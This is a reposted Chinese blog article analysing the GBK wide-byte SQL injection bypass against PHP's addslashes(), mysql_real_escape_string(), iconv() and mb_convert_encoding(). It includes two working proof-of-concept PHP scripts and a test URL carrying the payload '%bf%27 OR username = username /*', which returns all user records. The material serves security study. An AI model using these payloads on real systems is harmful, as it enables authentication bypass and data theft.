Web滲透:PHP字符編碼繞過漏洞總結


其實這東西國內少數黑客早已知道,只不過沒有共享公布而已。有些人是不願共享,寧願爛在地里,另外的一些則是用來牟利。

該漏洞最早2006年被國外用來討論數據庫字符集設為GBK時,0xbf27本身不是一個有效的GBK字符,但經過 addslashes() 轉換后變為0xbf5c27,前面的0xbf5c是個有

效的GBK字符,所以0xbf5c27會被當作一個字符0xbf5c和一個單引號來處理,結果漏洞就觸發了。

mysql_real_escape_string() 也存在相同的問題,只不過相比 addslashes() 它考慮到了用什么字符集來處理,因此可以用相

應的字符集來處理字符。在MySQL 中有兩種改變默認字符集的方法。

方法一:

修改mysql配置文件my.cnf

[client]

default-character-set=GBK

方法二:

在建立連接時使用:SET CHARACTER SET 'GBK'

例:mysql_query("SET CHARACTER SET 'gbk'", $c);

問題是方法二在改變字符集時mysql_real_escape_string() 並不知道而使用默認字符集處理從而造成和 addslashes() 一樣的漏洞

下面是來自http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的測試代碼

<?php
    $c = mysql_connect("localhost", "user", "pass");
    mysql_select_db("database", $c);
    // change our character set
    mysql_query("SET CHARACTER SET 'gbk'", $c);
    // create demo table
    mysql_query("CREATE TABLE users (
        username VARCHAR(32) PRIMARY KEY,
        password VARCHAR(32)
    ) CHARACTER SET 'GBK'", $c);
    mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c);
    // now the exploit code
    $_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*'; 
    $_POST['password'] = 'anything'; 
    // Proper escaping, we should be safe, right?
    $user = mysql_real_escape_string($_POST['username'], $c);
    $passwd = mysql_real_escape_string($_POST['password'], $c);
    $sql = "SELECT * FROM  users WHERE  username = '{$user}' AND password = '{$passwd}'";
    $res = mysql_query($sql, $c);
    echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records
?>

縱觀以上兩種觸發漏洞的關鍵是addslashes() 在Mysql配置為GBK時就可以觸發漏洞,而mysql_real_escape_string() 是在不知

道字符集的情況下用默認字符集處理產生漏洞的。

下面再來分析下國內最近漏洞產生的原因。

問題出現在一些字符轉換函數上,例如mb_convert_encoding()和iconv()等。

發布在80sec上的說明說0xc127等一些字符再被addslashes() 處理成0xc15c27后,又經過一些字符轉換函數變為0×808027,而使得經過

addslashes() 加上的"\"失效,這樣單引號就又發揮作用了。這就造成了字符注入漏洞。 

根據80sec的說明,iconv()沒有該問題,但經我用0xbf27測試

$id1=mb_convert_encoding($_GET['id'], 'utf-8', 'gbk');
$id2=iconv('gbk//IGNORE', 'utf-8', $_GET['id']);
$id3=iconv('gbk', 'utf-8', $_GET['id']);

這些在GPC開啟的情況下還是會產生字符注入漏洞,測試代碼如下:

<?php
$c = mysql_connect("localhost", "user", "pass");
mysql_select_db("database", $c);
// change our character set
mysql_query("SET CHARACTER SET 'gbk'", $c);
// create demo table
mysql_query("CREATE TABLE users (
    username VARCHAR(32) PRIMARY KEY,
    password VARCHAR(32)
) CHARACTER SET 'GBK'", $c);
mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c);

// now the exploit code
//$id1=mb_convert_encoding($_GET['id'], 'utf-8', 'gbk');
$id2=iconv('gbk//IGNORE', 'utf-8', $_GET['id']);
//$id3=iconv('gbk', 'utf-8', $_GET['id']);

$sql = "SELECT * FROM  users WHERE  username = '{$id2}' AND password = 'password'";
$res = mysql_query($sql, $c);
echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records
?>

測試情況:http://www.safe3.cn/test.php?id=%bf%27 OR username = username /*

后記,這里不光是%bf,其它許多字符也可以造成同樣漏洞,大家可以自己做個測試的查下,這里有zwell文章提到的一個分析

http://hackme.ntobjectives.com/sql_inject/login_addslashes.php 。編碼的問題在xss中也有利用價值,詳情請看我

早期轉載的一篇文章Bypassing script filters with variable-width encodings

轉載自:http://www.cnblogs.com/Safe3/archive/2008/08/22/1274095.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM